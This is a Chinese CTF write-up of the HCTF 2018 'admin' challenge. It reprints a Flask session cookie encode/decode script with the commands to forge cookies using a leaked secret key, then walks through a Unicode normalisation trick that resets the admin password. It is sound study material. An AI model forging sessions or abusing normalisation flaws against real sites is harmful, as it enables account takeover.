[HCTF 2018]admin(flask session伪造,Unicode欺骗)

先随便注册一个账号进去看看。

在index的源码处找到提示,you are not admin,估计是要用admin的身份登录才会有flag。
[HCTF 2018]admin(flask session伪造,Unicode欺骗)_第1张图片
然后在change的源码找到了网站项目的github地址:
[HCTF 2018]admin(flask session伪造,Unicode欺骗)_第2张图片

下载下来是一个flask项目,这里看了看wp知道要看路由route.py,然而我这种菜鸡是看不懂的。

有三种解题方法,不过看其他wp第三种都没有实现。

一,flask session伪造:

这里我知道了flask的session如果要加密或者解密需要一个SECRET_KEY

序列化session的主要过程:

1,json.dumps 将对象转换成json字符串,作为数据
2,如果数据压缩后长度更短,则用zlib库进行压缩
3,将数据用base64编码
4,通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割

第4步就解决了用户篡改session的问题,因为在不知道secret_key的情况下,是无法伪造签名的。这道题的源码给出了secret_key,所以可以session伪造。

参考:https://www.leavesongs.com/PENETRATION/client-session-security.html

然后直接用脚本加解密:
地址:https://github.com/noraj/flask-session-cookie-manager

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

使用方法:

解密:python flask_session_manager.py decode -s SECRET_KEY -c session

加密:python flask_session_manager.py encode -s SECRET_KEY -t 未加密session

先抓登录成功界面的包,然后解密session:

python3 1.py decode -s ckj123 -c .eJw9kE9rwjAYxr_KeM8eurTCEDw4UkOF9w2VZCO5SLXVpjYOqlIb8buvk-HpOfzg-XeHzb6rzjXMLt21msDGlTC7w9sWZkC8bInnCQbdU_g6Wq5j45cO_cobpQOF0llVeqkWPXHriOU3E5Y18dZZoRmGdJAqTSjoqfEmlmJVU9hFKHCw6sCoMQOF2pNPI8n1DccM4_MeFUbIdWK9TpDvBmzS3qi2Rr6YSpXHttG9FYaZQK0V67FPNofHBHbnbr-5_Byr02sCsoxZnzGp2saMimHt7F9V_umR29qKLDZNOpCwtfxeOhqnUT5_2jlfHKqX09Z_sPyfnAo_AiiKAiZwPVfd8zV4j-DxC2jGbMw.XltvVw.hbTHaI6lG6Fn3uXRaeFlhoTtcCg

解密后的session如下:
{'_fresh': True, '_id': b'47e44835075dd57bab2bfa5377be7f90046b7d1c1a49bde6312918759bf78ba7740c2e8666278f6a485135dbd0134058fe8072210a9a009947f50df6c3eddb2b', 'csrf_token': b'3b6fb699cbb634bd6b40f06adb7b124fa9ab6bf5', 'image': b'no6A', 'name': 'aaa', 'user_id': '10'}

[HCTF 2018]admin(flask session伪造,Unicode欺骗)_第3张图片
然后把name改为admin加密试试:
{’_fresh’: True, ‘_id’: b’47e44835075dd57bab2bfa5377be7f90046b7d1c1a49bde6312918759bf78ba7740c2e8666278f6a485135dbd0134058fe8072210a9a009947f50df6c3eddb2b’, ‘csrf_token’: b’3b6fb699cbb634bd6b40f06adb7b124fa9ab6bf5’, ‘image’: b’no6A’, ‘name’: ‘admin’, ‘user_id’: ‘10’}
但是试了很多次就是不行。。
[HCTF 2018]admin(flask session伪造,Unicode欺骗)_第4张图片
二,Unicode欺骗

首先我们注册一个
ᴬᴰᴹᴵᴺ的账户,这时候我们传入的数据会进行一次转化,这时ᴬᴰmin–>ADmin,服务器端会判断该用户是否存在,然后成功注册
[HCTF 2018]admin(flask session伪造,Unicode欺骗)_第5张图片
登陆该账号,因为登陆时也会被进行一次转化,所以使用ᴬᴰᴹᴵᴺ登陆,但后台的账号是ADmin

[HCTF 2018]admin(flask session伪造,Unicode欺骗)_第6张图片
然后执行一次更改密码操作,改密码时也会进行一次转化,这时我们便从ADmin–>admin,完成了admin账户的密码更改操作,这时候再登陆admin账号,就可以得到flag了

[HCTF 2018]admin(flask session伪造,Unicode欺骗)_第7张图片

你可能感兴趣的:(BUUCTF)